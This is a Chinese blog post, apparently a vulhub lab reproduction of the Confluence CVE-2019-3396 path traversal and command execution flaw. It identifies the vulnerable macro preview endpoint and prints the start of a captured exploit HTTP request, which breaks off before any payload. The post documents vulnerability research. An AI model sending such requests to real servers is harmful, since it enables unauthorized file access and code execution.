Atlassian Confluence 路径穿越与命令执行漏洞（CVE-2019-3396）

等秋风扫落叶

已于 2023-02-08 15:14:13 修改

阅读量272

点赞数

分类专栏： vulhub漏洞复现文章标签： atlassian 安全前端

于 2022-11-09 11:43:55 首次发布

本文链接：https://blog.csdn.net/qq_45391176/article/details/127745727

版权

说明：
1、文章环境通过vulhub搭建
2、此文无代码调试环节

抓包

搭建完成 confluence环境后，进入编辑页面。通过插入处添加更多宏。选择任意一个，burp抓包可以看到漏洞相关的接口：/rest/tinymce/1/macro/preview
在这里插入图片描述
请求包：

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36-black-box-scan
Content-Length: 168
Accept: */*
Content-Type: application/json
Cookie: JSESSIONID=8962F5E8D4F037780C041055048D78CD
Referer: http://10.200.195.179:8090/pages/editpage.action?pageId=98373
Accept-Encoding: gzip

{
   "contentId":"786458","macro":{
   "name"